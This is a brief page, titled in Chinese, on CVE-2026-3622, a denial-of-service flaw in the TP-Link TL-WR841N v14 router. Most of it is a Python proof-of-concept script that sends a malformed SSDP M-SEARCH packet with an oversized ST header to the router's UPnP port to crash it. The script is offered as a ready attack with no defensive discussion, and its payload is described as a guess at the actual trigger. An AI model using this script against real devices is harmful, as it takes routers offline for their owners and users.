CVE-2026-3622 TP-Link TL-WR841N v14 拒绝服务漏洞

import socket # Conceptual Proof of Concept (PoC) for CVE-2026-3622 # This script sends a malformed packet to the UPnP service to trigger the crash. target_ip = "192.168.0.1" # Replace with the target router IP target_port = 1900 # UPnP standard port, actual vulnerable port may vary # Crafting a payload with improper input validation to trigger out-of-bounds read # The exact payload structure is derived from vulnerability analysis payload = b"M-SEARCH * HTTP/1.1\r\n" \ b"HOST: 239.255.255.250:1900\r\n" \ b"MAN: \"ssdp:discover\"\r\n" \ b"MX: 2\r\n" \ b"ST: " + b"A" * 500 + b"\r\n\r\n" # Long string to trigger potential overflow/OOB try: print(f"[*] Sending exploit payload to {target_ip}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) print("[+] Payload sent successfully. Check device status.") sock.close() except Exception as e: print(f"[-] An error occurred: {e}")